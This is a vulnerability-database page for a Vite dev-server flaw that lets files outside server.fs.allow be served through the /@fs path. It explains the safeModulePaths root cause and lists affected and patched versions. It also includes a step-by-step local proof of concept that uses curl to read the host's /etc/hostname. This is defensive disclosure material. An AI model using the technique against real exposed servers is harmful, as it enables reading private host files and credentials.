CVE-2026-112946Medium· 6.3▾ TwilightPoC availableVite: Files outside `server.fs.allow` could be served when project paths match system paths on non-Windows machine
▾ Twilight zone — High severity, or a signal on a lesser flaw
impact 34.7 · likelihood 0.2 · exploitation 12
A public proof-of-concept already exists for this vulnerability — see Exploit availability below.
Stakeholder-Specific Vulnerability Categorization from CISA's ADP record at CVE.org: whether exploitation is observed, whether an attack can be automated, and how much of the system is at stake. The CVSS score shown above comes from the assigning CNA record, not NVD.
Exploit-prediction probability, daily snapshots since Oct 21.
Disclosure to exploitation, from the record and what we observed since indexing it.
Exploit / PoC code exists
Disclosed via GHSA
0.9%
0.9% → 0.9%
The content of files outside server.fs setting can be returned to the browser if the project imports a file path concatenated with the root. For example, if the project references <path-to-project-root>/etc/hosts, the content of /etc/hosts was possible to be returned.
The content of files outside the server.fs.allow option can be returned to the browser when a project imports a file whose root-relative path matches an absolute path on the host. For example, referencing <project-root>/etc/hosts could make Vite return the host's /etc/hosts file.
Only apps that meet all of the following conditions are affected:
--host or the server.host option)server.fs.denyWhen Vite analyzes an in-root import, it rewrites the resolved module ID to a browser URL such as /etc/hostname. In affected versions, Vite converts that URL with fsPathFromUrl and adds the result to safeModulePaths. Because fsPathFromUrl ensures a leading slash without resolving the URL against the project root, the project URL /etc/hostname is recorded as if it were the absolute filesystem path /etc/hostname.
For a later request to /@fs/etc/hostname, the raw-filesystem middleware interprets /etc/hostname as an absolute path. The access check applies server.fs.deny, then accepts paths present in safeModulePaths before checking server.fs.allow. As a result, the request can return the host file instead of the project file that originally populated safeModulePaths.
The following example requires Linux with a readable /etc/hostname:
$ mkdir vite-safe-module-path-poc
$ cd vite-safe-module-path-poc
$ npm init -y
$ npm install [email protected]
$ mkdir -p etc
$ echo 'PROJECT-DECOY\n' > etc/hostname
$ echo 'import "./etc/hostname"\n' > main.js
$ npx vite --host 127.0.0.1
In another terminal:
$ curl -o /dev/null -s -w '%{http_code}\n' http://127.0.0.1:5173/main.js
200
$ curl -sS -o response -w '%{http_code}\n' http://127.0.0.1:5173/@fs/etc/hostname
200
$ cmp -s response /etc/hostname && echo 'response matches host file'
response matches host file
vite >= 8.3.0, <= 8.3.2vite >= 8.2.0, <= 8.2.3vite >= 8.0.0, <= 8.1.5vite >= 7.0.0, <= 7.3.6vite <= 6.4.3vite-plus <= 1.0.0Upgrade to a patched release:
vite 8.3.3vite 8.2.4vite 8.1.6vite 7.3.7vite 6.4.4vite-plus 1.1.0Field changes observed since this record was first indexed.
Connected by shared product, vendor, weakness, or advisory.
CVE-2026-112947Medium· 6.3Vite: First 4 bytes of files outside of `server.fs` setting is exposed by `?vite-wasm-instance`
CVE-2026-53571Mediumvite: `server.fs.deny` bypass on Windows alternate paths
CVE-2026-39364High· 7.5Vite is a frontend tooling framework for JavaScript
CVE-2026-112945Low· 2.1Vite: Cross origin script execution through Vite custom middleware
CVE-2025-58752Medium· 5.3Vite is a frontend tooling framework for JavaScript
CVE-2026-39363High· 7.5Vite is a frontend tooling framework for JavaScript